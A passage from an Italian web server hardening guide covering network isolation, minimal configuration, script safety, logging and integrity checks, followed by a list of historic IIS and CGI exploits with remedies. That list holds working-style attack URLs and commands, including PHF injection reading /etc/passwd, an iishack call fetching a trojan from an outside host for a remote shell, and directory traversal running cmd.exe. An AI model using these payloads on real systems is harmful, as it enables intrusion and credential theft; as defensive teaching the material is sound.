l'impossibilità per gli utenti di accedere alle risorse messe a disposizione dal server; Il diniego del servizio (D.O.S) rappresenta per l'aggressore una soluzione estrema che, oltretutto, richiede spesso competenze tecniche davvero minime. Le conseguenze di simili attacchi sono veramente molteplici e vanno dalla sopportazione dei costi per il ripristino delle risorse al mancato realizzo di introiti, alla perdita di credibilità nei confronti del pubblico fino ad arrivare anche a conseguenze che implicano una responsabilità di carattere legale (si pensi alla perdita o trafugamento di informazioni sensibili a causa di una negligente gestione del sito). Un approccio per il miglioramento dei livelli di sicurezza: Il modo migliore di procedere, dopo aver identificato con esattezza i rischi, è quello di predisporre un piano che individui una serie di misure precauzionali tali da condurre ad un livello di sicurezza che deve essere adeguato e proporzionato alla natura e all'importanza delle risorse da proteggere (un portale di commercio elettronico indubbiamente richiede livelli e politiche di sicurezza ben maggiori di un sito Web di carattere statico). Si tratta di un processo lungo e ripetitivo che deve partire dalla considerazione degli aspetti più generali e che comporta una serie di attività e di valutazioni concernenti: 1 la scelta del sistema operativo; 2 la configurazione di rete; 3 la configurazione di base del server; 4 l'uso di programmi esterni e di script; 5 la progettazione Web di qualità; 6 l'identificazione e l'uso dei meccanismi di logging ed auditing; 7 il mantenimento dell'integrità delle risorse; 1) Scelta del SIstema Operativo Non è possibile parlare delle tecniche di protezione dei server Web senza fare una breve considerazione in merito ai criteri di scelta del sistema operativo poiché le caratteristiche di affidabilità e robustezza di quest’ultimo possono avere un impatto significativo nella predisposizione e nel mantenimento dei giusti livelli di sicurezza sotto il profilo della: 1 assenza di vulnerabilità note nei confronti di tipologie conosciute di attacco; 2 capacità di limitare determinati tipi di attività soltanto ad alcuni utenti; 3 abilità nel rimuovere e disabilitare servizi e risorse non necessari; 4 abilità nel controllare l'uso e l'accesso alle varie risorse e nel registrare la varie attività degli utenti; 5 facilità di gestione ma non a discapito della sicurezza; Una scelta operata tenendo conto di questi fattori può comportare oltre che minori problemi e vulnerabilità anche costi minori soprattutto per quanto riguarda le attività di amministrazione del sistema (si pensi al tempo normalmente richiesto da un attività fondamentale quale è quella di applicazione delle varie patches di sicurezza e che potrebbe essere risparmiato). 2) Configurazione della rete Insieme alla scelta del sistema operativo anche la configurazione di rete ha una sua importanza basilare e da questo punto di vista la soluzione che offre le migliori garanzie in termini di sicurezza rimane quella di isolare il server Web dalla rete interna. Nell'ipotesi di una compromissione dell'host questa pratica è infatti di ausilio nell'impedire il verificarsi di due conseguenze molto gravi: 1 l'accesso agli host della LAN da parte dell'aggressore; 2 il monitoraggio del traffico proveniente dalla rete con la conseguente cattura di eventuali informazioni riservate; Generalmente il raggiungimento di un tale livello di isolamento diventa possibile attraverso la configurazione e l'uso di una zona demilitarizzata, detta anche DMZ, cioè di una topologia in grado di segmentare logicamente la rete separando i sistemi interni (considerati di fiducia) da quelli esterni accessibili al pubblico che, in quanto privi di tale fiducia, devono rimanere isolati. Naturalmente l'esistenza di una DMZ non rappresenta da sola una garanzia sufficiente ma deve essere accompagnata dalla presenza di adeguati dispositivi di controllo degli accessi (router e firewall) in modo tale da: bloccare tutto il traffico UDP, ICMP e TCP non strettamente necessario; bloccare tutte le connessioni TCP che traggono origine dallo stesso server Web; bloccare il traffico tra il server Web e la rete interna; disabilitare il source routing e scartare i datagrammi IP che abbiano impostata questa opzione (il source routing è una funzione del meccanismo di instradamento dei pacchetti IP che permette alla sorgente di influenzare il percorso che il pacchetto seguirà nel suo attraversamento delle reti); Il blocco delle connessioni in uscita dal server http non può comunque essere adottato nel caso in cui quest'ultimo si avvalga di servizi esterni erogati da altri server (ad esempio un database per la generazione dinamica dei contenuti, un server SMTP per la posta in uscita, etc...). Quando ciò accade è tuttavia conveniente collocare anche gli host dei servizi di supporto all'interno di una sottorete e separare quest'ultima sia dalla rete interna che da quella esterna mediante l'utilizzo di dispositivi di controllo degli accessi in modo tale da: bloccare qualsiasi tipo di traffico tra la rete Internet e questi host; impedire ogni forma di traffico diretto tra gli utenti ed i servizi di supporto; disabilitare le funzioni di IP forwarding (inoltro del traffico IP) tra server Web e server di supporto; Qualora non sia possibile servirsi di una zona demilitarizzata, fermo restando i rischi di un possibile accesso agli host della LAN, è sempre possibile ricorrere a dispositivi come hub e switch in grado di suddividere il traffico della rete separando quello del Web da quello interno ed, eventualmente, criptare quest'ultimo così da renderlo comunque incomprensibile all'aggressore anche in caso di avvenuta compromissione del server. 3) Configurazione di base del server In linea teorica il server Web dovrebbe operare nell'ambito di una configurazione di rete e di sistema davvero minima. Il rispetto di questa semplice regola è effettivamente in grado di produrre come risultato un sensibile miglioramento dei livelli di sicurezza attraverso degli espedienti quali: 1 la disabilitazione di tutti i servizi di rete non essenziali ed, in particolar modo, di quelli affetti da vulnerabilità conosciute sotto il profilo della sicurezza; 2 la rimozione dal sistema dei files corrispondenti ai servizi disabilitati; 3 l'eliminazione delle porte 4 ed UDP in ascolto superflue; 5 la rimozione o disabilitazione di tutte le risorse non richieste in relazione al ruolo dell'host (compilatori, interpreti, shell, scripts ed altri strumenti analoghi); 6 la corretta gestione degli utenti e dei loro privilegi; 7 la predisposizione di regole adeguate per l'accesso e l'uso delle risorse; Le attività di cui ai punti da 1 a 4 sono particolarmente importanti non soltanto in un ottica generale di riduzione dei rischi di compromissione del sistema ma anche in vista di uno snellimento delle attività di amministrazione e, quindi, della minore probabilità di commettere errori di configurazione che possono essere prontamente sfruttati da un aggressore. A tal fine, proprio per evitare di commettere dimenticanze, è conveniente adottare un approccio del tipo "deny all, then allow" che consiste prima nel disabilitare indistintamente tutti i servizi e le porte TCP/UDP e poi nel riabilitare, dopo un attenta valutazione, soltanto quelli veramente essenziali. Anche per quanto concerne la gestione degli utenti e dei privilegi vanno prefissate delle regole improntate a criteri restrittivi dirette ad: impedire che il servizio http venga lanciato da un utente con privilegi amministrativi perchè questo può comportare l'acquisizione del controllo completo del sistema in caso di exploit eseguito con successo; disabilitare o rimuovere tutti gli account inutili, installati dal sistema operativo o da altri software, per ridurre il rischio di una impersonificazione o scalata dei privilegi nel caso di intrusione; modificare il nome dell'account di amministratore; adottare criteri di robustezza delle password sotto il profilo della lunghezza (almeno 8 caratteri), complessità (alfanumerica con un mix di caratteri maiuscoli e minuscoli e l'uso di caratteri non stampabili), riutilizzo (da evitare) e durata (mediamente 30-120 giorni); verificare direttamente le password, preferibilmente mediante gli stessi strumenti usati dagli hackers, per accertare che esse rispondano ai criteri voluti ; impostare il blocco degli utenti dopo un certo numero di tentativi falliti di login; Il blocco degli utenti è una misura da adottare con cautela poichè costituisce un arma a doppio taglio che può spingere l'aggressore a provocare una situazione di D.O.S (Denial of Service) per l'utente attraverso una serie di tentativi di connessione falliti. I singoli processi coinvolti nella gestione del servizio http devono comunque avere accesso soltanto ai file ed alle directory necessari al loro funzionamento per i quali occorre specificare delle regole di accesso (cosiddette acl o access control list) che, oltre ad offrire una maggiore granularità nel controllo dell'uso delle risorse, sono in grado di scongiurare o mitigare gli effetti derivanti da un eventuale attacco D.O.S diretto a provocare una situazione di indisponibilità dell'intero sistema proprio attraverso un esaurimento delle sue risorse. In questa prospettiva, anzi, per ridurre significativamente gli effetti derivanti da attacchi di questo genere, è sempre consigliato il ricorso ad ulteriori interventi correttivi che consistono nel: creare una singola directory radice e da essa far derivare una gerarchia di sottodirectory nelle quali suddividere le risorse che costituiscono il contenuto pubblico del Web; limitare ad una sola directory, opportunamente configurata e protetta, tutti i programmi "esterni" eseguiti come parte integrante del servizio Web; limitare l'uso dei file temporanei da parte dei singoli processi all'interno di apposite directory opportunamente protette e consentirne l'accesso soltanto ai processi stessi; impedire che file e risorse esterne alla gerarchia di directory del server possano essere forniti in risposta alle richieste degli utenti; disabilitare l'uso dei link simbolici per evitare che risorse facenti parte del contenuto del Web possano puntare a file di sistema o ad altre risorse all'interno della LAN; aggiustare le priorità dei vari processi di sistema; 4) L'uso di programmi esterni e di script L'installazione e l'uso di programmi esterni quali interpreti, plug-in e script può letteralmente aprire una breccia nei livelli di protezione di qualsiasi server Web. Anche gli host apparentemente più inviolabili possono infatti cadere a causa di un banale exploit che sfrutta un semplice script cgi per eseguire localmente sul server comandi diretti ad ottenere l'accesso al sistema. Poichè la storia è piena di esempi di questo genere, prima ancora di funzionalità aggiuntive fornite da script, plug-in ed altro, decidere se sfruttare le è sempre opportuno valutare complessivamente i benefici ed i rischi che ne derivano ed optare per l'adozione soltanto quando i primi siano realmente superiori ai secondi. In ogni caso la preoccupazione principale deve sempre rimanere quella di ridurre i rischi entro limiti accettabili e per far ciò occorre: evitare, se possibile, l'uso di script di terze parti oppure accertarne l'esatta provenienza ed autenticità del codice; fare uso soltanto dei programmi e degli script veramente indispensabili disabilitando tutti gli altri (ad esempio quelli dimostrativi spesso causa di molteplici problemi); impiegare tecniche di programmazione ortodosse nella scrittura del proprio codice e prestare la massima attenzione ad aspetti quali la lunghezza e la complessità finale, la presenza di opportuni controlli per la validazione dell'input e l'interazione con altri programmi esterni o l'accesso in lettura e/o scrittura al file system; valutare attentamente la presenza di queste stesse caratteristiche anche negli script di terze parti; usare possibilmente una macchina di test per verificare il funzionamento di tutti i programmi e degli script prima ancora di impiegarli in una macchina di produzione; evitare di collocare i programmi e gli interpreti all'interno della stessa directory dove risiedono gli script (ad esempio la CGI-BIN) e posizionarli invece in una directory separata opportunamente protetta ed accessibile soltanto agli utenti amministratori; circoscrivere l'accesso di programmi ed interpreti ai soli file e directory indispensabili al loro funzionamento e comunque soltanto a quelli all'interno del contenuto pubblico del Web; verificare costantemente l'integrità degli eseguibili relativi a programmi ed interpreti nonchè degli script; 5) La progettazione web di qualità L'uso di script, come già accennato, può inevitabilmente diminuire il livello di sicurezza di un server Web poichè introduce molteplici aspetti e variabili nel flusso di esecuzione del codice che possono essere sfruttate da un aggressore per tentare di ottenere un accesso non autorizzato. Non a caso una delle tipologie più note di aggressione si basa sull'invio al server di dati inattesi mediante la URL. Generalmente questo avviene inviando una quantità eccessiva di dati oppure combinando tecniche che consistono in un abuso di metacaratteri e nell'encoding della stringa al fine di provocare tre effetti differenti: 1 buffer overflow: si verifica quando un buffer di input, ad esempio una variabile all'interno di un programma, viene saturato con un valore più grande di quello che esso riesce a gestire (di regola il verificarsi di questa condizione viene sfruttato per tentare di eseguire una porzione di codice arbitrario forzandolo all'interno dello stack di esecuzione del processore); 2 alterazione della logica applicativa: può consistere nell'alterazione dei meccanismi di autenticazione o nell'accesso a funzionalità riservate dell'applicativo; 3 invocazione di funzioni di sistema o di altri programmi esterni oppure accesso a file e risorse che non fanno parte del contenuto del Web; L'approccio migliore per cercare di scongiurare questi effetti è rappresentato dall'adozione di tecniche incentrate sulla qualità della programmazione, sull'implementazione di una logica applicativa robusta e sul controllo del flusso. E’ sempre bene adottare degli ulteriori rimedi: usare meccanismi di controllo e di filtro dei dati di input; utilizzare tutte le caratteristiche di sicurezza messe a disposizione dai linguaggi di scripting; evitare, se possibile, l'utilizzo di meccanismi come SSI (Server Side Include); usare con attenzione e cautela i tag nascosti all'interno delle pagine html; Quando non si ha certezza sulla natura dell'input ricevuto è assolutamente necessario ricorrere al filtraggio dei dati attenendosi ad una regola elementare: identificare con esattezza la natura ed il tipo delle informazioni da gestire ed eliminare tutti i caratteri non necessari ed inutili avvalendosi di funzioni proprie o di quelle messe a disposizione dai più moderni linguaggi di scripting (Perl, PHP, Cold Fusion Markup Language ed ASP possiedono tutti simili funzioni). Per quanto concerne l'utilizzo delle caratteristiche di sicurezza va ricordato che sia il Perl sia il PHP implementano un meccanismo che evita il verificarsi di condizioni di overflow del buffer di input aggiustando automaticamente la dimensione di questo per supportare una allocazione di memoria consona alla quantità di dati effettivamente ricevuta. Inoltre alcuni dei linguaggi precedentemente citati offrono anche altre funzionalità ed in particolare: PERL può girare in una modalità detta "taint" abilitata da linea di comando mediante l'opzione -T che avvisa nell'eventualità in cui i dati di input vengano passati ad alcune funzioni di sistema tra le quali chmod, chown, exec, connect, etc... CFML mette a disposizione una vera e propria sandbox che può essere sfruttata per limitare l'invocazione delle funzioni di sistema oppure l'uso di certi tags proprietari; PHP racchiude una modalità detta "safe_mode" che limita l'accesso di alcune funzioni (fopen, link, chmod, etc...) ai soli file di cui è proprietario l'utente di PHP che generalmente coincide con l'utente del server Web; ASP, pur non fornendo una particolare varietà di funzioni di sistema se non quelle relative alle operazioni con il file system, consente di disabilitare queste ultime de-registrando l'oggetto File System del motore di scripting (scrrun.dll); La disabilitazione degli SSI o Server Side Include è un'altra misura precauzionale opportuna perchè questi meccanismi possono rivelarsi un arma a doppio taglio particolarmente insidiosa in quanto se da un lato mettono a disposizione funzionalità interattive utili dall'altro hanno un funzionamento fin troppo elementare da sovvertire per un aggressore poichè si basano sull'impiego di tags (tra i quali "cmd" ed "email") che possono essere inseriti ovunque all'interno di un documento html per forzare l'esecuzione di comandi in locale sul server. Considerazioni analoghe spingono ad evitare, se possibile, l'uso di tag nascosti, specie all'interno di form, per raccogliere informazioni sensibili (quali il prezzo di prodotto) che possono essere alterate con estrema facilità. 6) L'identificazione e l'uso dei meccanismi di logging ed auditing La raccolta dei dati relativi al sistema, al traffico di rete, alle attività degli utenti ed al server Web è essenziale poichè collezionando ed analizzando queste informazioni diventa possibile non soltanto scoprire i segni di eventuali intrusioni e determinare la portata delle azioni compiute dall'aggressore ma anche individuare tutte quelle operazioni di "probing" che, pur non rappresentando dei veri e propri attacchi, sono sintomi di un sicuro interesse di qualcuno verso il sistema ed in particolare verso le sue vulnerabilità. L'approccio ideale per riconoscere in qualsiasi momento i segni di probabili intrusioni o di altre attività anomale consiste nel paragonare le informazioni relative al funzionamento del sistema in quel dato momento con le analoghe informazioni catturate in un momento anteriore (generalmente in fase di prima installazione od operatività) che, in quanto tali, costituiscono un impronta affidabile e caratteristica del funzionamento del sistema stesso. Di regola questo genere di indicazioni viene fornito dal sistema operativo, dal software che gestisce il server Web e da altri meccanismi di terze parti.che consentono di: 1 monitorare ed analizzare la natura e la portata del traffico di rete attraverso la raccolta di dati concernenti: il numero dei pacchetti, il numero dei bytes e delle connessioni in entrata ed uscita suddivisi per protocollo, indirizzi IP sorgenti e destinazione e porte; le intestazioni ed il contenuto dei pacchetti ricevuti; il numero dei socket aperti; gli errori che si verificano sulle differenti interfacce di rete e lo stato di queste ultime; le connessioni effettuate ed i tentativi di connessione falliti suddivisi per protocollo, nome dell'host/utente, porte, indirizzi, data ed ora; 2 la durata ed il flusso di ciascuna delle connessioni; monitorare l'utilizzo del sistema attraverso la raccolta di dati concernenti: l'ammontare totale delle risorse in uso (CPU, memoria, dischi); lo stato del file system per ciascuna partizione in termini di spazio libero, numero dei file aperti, statistiche di I/O; i cambiamenti nello stato del sistema (shutdown e riavvii); la data e l'ora di avvio dei vari processi, la loro durata nonchè la percentuale di risorse, le periferiche ed il numero dei file che ciascuno di essi adopera; 3 gli errori ed i warning segnalati dal sistema; monitorare gli utenti e le attività di questi attraverso la raccolta di dati concernenti: login (data ed ora, numero di tentativi falliti, tentativi di accesso come utenti privilegiati) e logout; 4 i cambiamenti e le modifiche riguardanti i privilegi degli utenti e l'uso dei privilegi stessi; l'esecuzione di azioni che richiedono particolari privilegi; il numero dei processi avviato; monitorare e verificare l'integrità dei file attraverso la raccolta di dati concernenti: il numero ed il timestamp di files e/o directories ed i loro attributi; il checksum per tutti i files e le directories più importanti (pagine web, file di sistema e di configurazione, applicazioni e strumenti per la sicurezza, file contenenti dati rilevanti); 5 i cambiamenti nelle dimensioni, nel contenuto e nella protezione dei files; l'aggiunta, la cancellazione e la modifica di files e/o directories; la presenza di eventuali "alternate data streaming" all'interno dei files (Windows NT/2000); i risultati delle scansioni antivirus; raccogliere ed analizzare i file di log per i vari servizi di rete (web, mail, ftp,etc...); Naturalmente la mole di informazioni veramente che deriva da simili operazioni di considerevole per cui è sempre opportuno monitoraggio può essere effettuare un giusto bilanciamento tra l'importanza della attività di raccolta dei dati e le risorse disponibili per memorizzarli. Qualunque sia inoltre la quantità di informazioni che si decide di catturare è essenziale che questa "fotografia" del funzionamento del sistema venga ripetuta in relazione ai vari aggiornamenti che nel tempo vengono apportati al sistema stesso (installazione di nuovo software, aggiornamento dei file del sistema operativo, applicazioni delle patches di sicurezza, etc...) in modo da garantire l'attendibilità dei risultati che scaturiscono dal raffronto tra i dati. Per non rischiare di vanificare inutilmente i meccanismi di logging ed auditing è inoltre conveniente adottare le seguenti precauzioni: posizionare i logs su un host separato dedicato esclusivamente a questa finalità e posto all'interno di una sottorete protetta da firewalls; configurare attentamente questo host in modo da scongiurare o limitare fortemente gli effetti di un possibile attacco di tipo D.O.S (Denial of Service) che può verificarsi se l'aggressore cerca di saturare le risorse impiegate per il salvataggio dei dati in modo da far cessare il logging; proteggere i logs in modo tale da consentire l'accesso ad essi ed agli strumenti utilizzati per la loro configurazione soltanto agli utenti debitamente autorizzati; criptare i logs contenenti informazioni sensibili nel momento stesso della loro registrazione; eliminare la possibilità che i dati una volta scritti possano essere modificati, usando per la registrazione supporti di tipo "write-once/read many" (CD-ROM, stampanti, cassette); predisporre opportune regole per l'archiviazione dei logs e la loro dislocazione in luoghi e su supporti fisicamente sicuri; analizzare i logs con cadenza periodica avvalendosi degli strumenti esistenti a tal fine; Per diminuire il volume dei dati da analizzare periodicamente e quindi favorire un riscontro più puntuale dei dati possono essere impiegate tecniche cosiddette di rotazione che consistono nel creare copie dei logs online ad intervalli regolari, rinominare queste copie ed analizzare i dati in esse contenuti in modo da poter contare sempre su una collezione di logs relativi a ben precisi momenti temporali. 7) Il mantenimento della integrità delle risorse Il mantenimento della integrità delle risorse è determinante per scongiurare gli effetti delle azioni che l'aggressore può compiere in caso di penetrazione e che generalmente consistono: nella sostituzione dei file di sistema con analoghi file, modificati ed alterati nelle loro funzionalità (http://www.rootkit.com), e nella modifica dei file di logs per cercare di cancellare le proprie tracce; nella installazione di strumenti (backdoors) che consentono di rientrare nel sistema in qualsiasi momento per riprenderne il controllo; nella modifica delle pagine Web in modo che riproducano informazioni fuorvianti od offensive e/o addirittura nella cancellazione dell'intero sito; Per tutelarsi nei confronti di questi abusi è innanzitutto necessario predisporre una serie di meccanismi idonei a monitorare lo stato, le modifiche e l'integrità del file system ed individuare: le modifiche del file system come la creazione di nuovi file/directory e/o la modifica e cancellazione di file esistenti; i cambiamenti nella dimensione, nel contenuto, negli attributi e nelle regole di accesso ai files; le alterazioni della consistenza dei logs (variazioni nella dimensione, buchi temporali nella registrazione degli eventi,etc...); la presenza di virus, backdoors e cavalli di troia; le alterazioni del file delle password; Inoltre è importante predisporre delle misure idonee a consentire il ripristino di tutti i files e programmi rilevanti in caso di compromissione della integrità degli stessi attraverso: la creazione di copie di backup sicure di tutti i files e programmi significativi; il salvataggio di queste copie in forma criptata su supporti di memorizzazione a sola lettura o su un altro host posto in una sottorete protetta attraverso l'uso di firewalls; la restrizione dell'accesso e dell'uso delle copie ai soli utenti debitamente autorizzati; la predisposizione di procedure da seguire per il ripristino dello stato dei file alterati o modificati; Elenco degli exploit più famosi: 1. PHF 2. IISHACK (IIS 4) 3. RDS-MDAC(IIS 4) 4. Attacco anonimo alle password degli utenti (IIS 4) 5. Denial of Service remoto (IIS 4) 6. Buffer Overflow remoto (IIS 4) 7. Esecuz. di comandi sul server (IIS 5 + patch Q277873) PHF Questo rappresenta un exploit storico per i sistemi Unix ed è basato su uno script CGI di esempio chiamato appunto PHF che implementa un servizio di rubrica telefonica basato su maschere. Lo script utilizza la funzione escape_shell_cmd() per verificare i dati in ingresso ma purtroppo la procedura di validazione dell'input non riesce a rilevare il carattere di ritorno a capo ("++", o "0x0a" in esadecimale). Di conseguenza questo carattere particolare può essere utilizzato per forzare la fine dell'esecuzione dello script e fare in modo che il programma esegua, localmente sul server, tutto quello che segue il carattere di ritorno a capo. In questo modo diventa possibile fare qualsiasi cosa come ad esempio ottenere il file delle password: http://www.target.com/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd o addirittura causare in particolari circostanze la restituzione di una shell dei comandi remota.Rimedi: Rimuovere lo script dal server web. IISHACK - (IIS 4) La causa di questo exploit che rientra nella categoria dei buffer overflow è da ricercare nella verifica parziale delle dimensioni dei nomi che Microsoft IIS 4.0 effettua sulle URL di file con estensione .HTR, .STM e .IDC . Questo può consentire all'aggressore persino l'installazione di backdoors da remoto nonchè l'esecuzione di comandi sul server nel contesto dei privilegi dell'utente amministratore. E' stato sviluppato un eseguibile come proof-concept di questa anomalia chiamato iishack.exe (http://www.securityfocus.com/). Attraverso questo programma diventa possibile, ad esempio, scaricare sul server un cavallo di troia autoscompattante che, una volta eseguito, installa un listener netcat in grado di restituire all'aggressore una shell di comandi remota: c:\> iishack www.target.com 80 www.mioserver.com/cavallo_di_troia.exeRimedi: Applicare la patch rilasciata da Microsoft disponibile all'indirizzo ftp://ftp.microsoft.com/bussys/IIS/iispublic/fixes/usa/ext-fix/. RDS - MDAC (IIS 4) Questo exploit è dovuto ad un difetto dell'oggetto DataFactory del componente RDS (Remote Data Service) di MDAC (Microsoft Data Access Components) che nella configurazione predefinita permette ad un intruso di inviare da remoto comandi destinati ad essere eseguiti localmente sul server nel contesto dei privilegi dell'utente con il quale è in esecuzione il servizio http (generalmente SYSTEM). Per scoprire la vulnerabilità a questo tipo di attacco esistono degli appositi script in perl che verificano la presenza di MDAC sul server. In particolare esiste un exploit pubblicato da Rain Forrest Puppy (http://www.securityfocus.com/) che inoltrando una richiesta RDS al database d'esempio btcustmr.mdb, presente sul server, tenta di accodare l'esecuzione di una shell di comandi remota ad una query SQL.Rimedi: Considerare la possibilità di disabilitare le funzionalità remote del Data Factory attraverso la rimozione delle seguenti chiavi del registro: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W3SVC\ Parameters\ADCLaunch\RDSServer.DataFactory HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W3SVC\ Parameters\ADCLaunch\AdvancedDataFactory HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W3SVC\ Parameters\ADCLaunch\VbBusObj.VbBusObjCls Attacco anonimo alle password degli utenti - (IIS 4) Con questo tipo di attacco è possibile modificare da remoto in modo del tutto anonimo gli account degli utenti locali del server anche se questo è protetto da un firewall. Durante la normale installazione di IIS 4 viene creata un directory virtuale chiamata "/IISADMPWD" che mappa fisicamente l'omonima directory generalmente presente nel path %SYSTEM32%\INETSRV\. All'interno di questa directory sono presenti una serie di risorse con estensione .htr che in realtà sono quasi tutti varianti di uno stesso file: achg.htr aexp.htr aexp2.htr aexp2b.htr aexp3.htr aexp4.htr aexp4b.htr anot.htr anot3.htr</span> Fondamentalmente questi file consentono agli utenti di cambiare la loro password via web e poiché l'accesso non è limitato al solo indirizzo di loopback (127.0.0.1) essi possono essere utilizzati in modo del tutto anonimo anche da un aggressore per tentare di cambiare le credenziali degli utenti di sistema od indovinare la password dell'utente amministratore. Inoltre, usando un indirizzo IP in combinazione con l'account di un utente, il server IIS cercherà di contattare la macchina remota utilizzando una sessione nulla NetBIOS al fine di cambiare la password dell'utente. Rimedi: Rimuovere la directory virtuale "IISADMPWD" se il servizio di cambio password da remoto non è indispensabile oppure, in caso contrario, disabilitare il servizio workstation in modo da consentire soltanto la modifica delle password degli account locali al server. Se invece si vuol dare la possibilità di cambiare le password sulla macchina remota, la migliore cosa da fare, è limitare il traffico sulla porta 139 (NETBIOS). Denial of service remoto - (IIS 4) IIS 4 è vulnerabile ad particolare attacco D.o.S. che può produrre come risultato la completa paralisi dell'attività del server. Teoricamente per provocare una situazione di questo genere è sufficiente inoltrare in modo ripetitivo un numero considerevole di richieste di connessione http ciascuna seguita dall'invio all'host di un buffer di 200 caratteri. L'elevato numero delle richieste può causare sul server un incremento della memoria di sistema impegnata con conseguente saturazione delle risorse. Va premesso però, che non è affatto facile eseguire con successo questo tipo di attacco, specie se l'attacco proviene da una fonte soltanto, poichè spesso esiste una considerevole differenza tra le risorse del sistema attaccante e quelle del target che potrebbe benissimo essere in grado di far fronte a centinaia di richieste senza per questo vedere degradare le proprie prestazioni. Rimedi: Consultare il Security Bullettin Microsoft all'indirizzo: http://www.html.it/menu_fr.asp?link=http://www.microsoft.com/technet/security/bulletin/MS99-029.asp. BUffer Overflow remoto (IIS5)) Questo recente exploit sfrutta alcune delle nuove caratteristiche offerte da Windows 2000 e da IIS 5 tra le quali va annoverata senza dubbio l'estensione ISAPI .printer che consente di accedere alle funzionalità di stampa da Web sfruttando l'IPP (Internet Printing Protocol). Questa funzionalità è esportata da una libreria a collegamento dinamico (msw3prt.dll) che è anche responsabile della situazione di overflow del buffer che si verifica se un blocco di 420 byte viene inviato all'host nel contesto di una richiesta .printer ISAPI. In questa particolare ipotesi il verificarsi di un buffer overflow non pregiudica la possibilità di eseguire una successiva operazione di iniezione del codice all'interno dello stack di esecuzione del processore in modo da forzare l'esecuzione in locale sul server di codice arbitrario che oltretutto viene eseguito con i privilegi dell'utente amministratore. In relazione a questo exploit, che colpisce i sistemi Windows 2000 anche con SP1, esistono dei programmi dimostrativi (http://packetstorm.securify.com/) di cui uno del tutto innocuo, pubblicato da eEye, mentre l'altro da ascrivere a Dark Spirit (chiamato jill.c) che provoca la restituzione all'aggressore di una shell di comandi remota.Rimedi: Installare la patch scaricabile da sito della Microsoft all’indirizzo: http://www.html.it/menu_fr.asp?link=http://www.microsoft.com/technet/security/bulletin/ms01-023.asp. Inoltre viene raccomandato di rimuovere il filtro .printer ISAPI dal Web Server se le funzionalità implementate non richiedono il supporto dell’IPP (Internet Printer Protocol). Esecuzione di comandi sul server (IIS 5.0 + PATCH Q277873) I sistemi ai quali è stata applicata la patch Q277873, per la risoluzione dei problemi relativi al "Web Server File Request Parsing" sono esposti ad un attacco che rende possibile l'esecuzione arbitraria di un qualunque programma sul web server (maggiori informazioni su http://www.guninski.com/iisasp.html). Ad esempio la URL http://www.target.com/scripts/georgi.bat/..%C1%9C..%C1%9C..%C1%9Cwinnt/system32/cmd.exe?/c%2 0dir%20C:\ esegue il comando "DIR C:\" ma è anche possibile leggere molti altri file usando: http://www.target.com/scripts/georgi.asp/..%C1%9C..%C1%9C..%C1%9Ctest.txt Rimedi: Un rimedio potrebbe essere quello di non installare la patch citata ma questo consentirebbe l'esposizione alla precedente vulnerabilità. Per informazioni è bene monitorara l'archivio di Security Focus dedicato all'argomento all'indirizzo: http://www.securityfocus.com/bid/1912. Cold Fusion Cold Fusion Application Server presenta una vulnerabilità causata dal fatto che insieme al prodotto vengono installati degli esempi di codice alcuni dei quali non limitano la propria interazione al solo server locale. Il problema risiede nella facilità con cui è possibile aggirare il meccanismo di funzionamento dei file openfile.cfm, displayopenedfile.cfm ed exprcalc.cfm. Il primo consente di scaricare sul server qualsiasi file, il secondo visualizza un file all'interno del browser ed il terzo dovrebbe in realtà eliminare il file caricato dopo averlo verificato. Lo stratagemma da adottare consiste nell'adoperare lo script openfile.cfm per inviare al server un file contenente una serie di comandi destinati ad essere eseguiti localmente e fare in modo che il sistema non elimini il file caricato che quindi può essere successivamente richiamato per mezzo di una comune URL.Rimedi: Eliminare gli script interessati al problema, oppure installare l’aggiornamento messo a disposizione dall’Allaire per risolvere il problema di exprcalc.cfm: http://www.html.it/menu_fr.asp?link=http://www.allaire.com/handlers/index.cfm?ID=8727&amp;Method=F ull . ASP DOT BUG - (IIS 3) Il baco del punto è stato scoperto nel 1997 ed affligge i sistemi con IIS 3.0 permettendo la visualizzazione del codice di un sorgente ASP semplicemente attraverso l'aggiunta di un punto alla fine della URL: http://www.target.com/example.asp. Lo stesso tipo di baco si ripresenta nei sistemi con IIS 3 che hanno applicato la patch resa disponibile da Microsoft per eliminare il problema del punto, semplicemente utilizzando in sostituzione del punto finale il suo corrispondente valore esadecimale (0x2e):Rimedi: Questo exploit può essere in parte eliminato con l’istallazione di una patch per ISS recuperabile sul sito http://www.html.it/menu_fr.asp?link=http://support.microsoft.com/support/kb/articles/q233/3/35.asp. Tuttavia, lo stesso tipo di baco si ripresenta nei sistemi con IIS 3 che hanno applicato la patch resa disponibile da Microsoft per eliminare il problema del punto, semplicemente utilizzando in sostituzione del punto finale il suo corrispondente valore esadecimale (0x2e): http://www.target.com/example.asp%2easp Codebrws.asp - Showcode.asp - (IIS 4) Questi due sorgenti sono la causa di una anomalia di funzionamento che consente ad un aggressore di visualizzare il contenuto di altri file, anche di sistema, esterni alla gerarchia di directory del server Web. Gli script codebrws.asp e showcode.asp vengono installati soltanto nell'ipotesi in cui durante l'installazione di IIS 4 venga richiesta anche l'installazione degli script ASP di esempio. Il problema risiede nella mancanza di un controllo sui parametri della URL ed, in particolare, nella incapacità di gestire correttamente l'uso di ".." nella impostazione del path del file. Sfruttando questa debolezza risulta possibile ottenere la visualizzazione ad esempio del file di sistema boot.ini mediante semplice una URL: http://www.target.com/msdac/sample/ SELECTOR/showcode.asp=source=/../../../../../boot.ini L'uso di questo stratagemma comunque incontra delle limitazioni nel senso che esso: 1 consente soltanto la visualizzazione dei file e non la loro modifica; 2 non è in grado di bypassare l'esistenza di eventuali access control list (ACL); 3 funziona soltanto relativamente ai file presenti all'interno della partizione dove risiede IIS; 4 presuppone la conoscenza da parte dell'aggressore della locazione esatta dei file; Rimedi: La soluzione a quest'exploit è l'istallazione di una patch per ISS recuperabile sul sito http://www.html.it/menu_fr.asp?link=http://www.microsoft.com/technet/security/bulletin/ms99-013.asp. TRANSLATE:F - (IIS 4/IIS 5) Il protocollo WebDAV e le estensioni FrontPage 2000 Server sono la causa del bug Traslate:f. che è tipico dei sistemi IIS 5 anche se, essendo le estensioni di FrontPage 2000 applicabili ad IIS 4, ne risultano colpiti pure i sistemi con la versione 4 di Internet Information Server. In particolare in questi ultimi sistemi il bug sembra verificarsi soprattutto con riferimento ai file che risiedono in directory condivise. L'anomalia si manifesta attraverso la 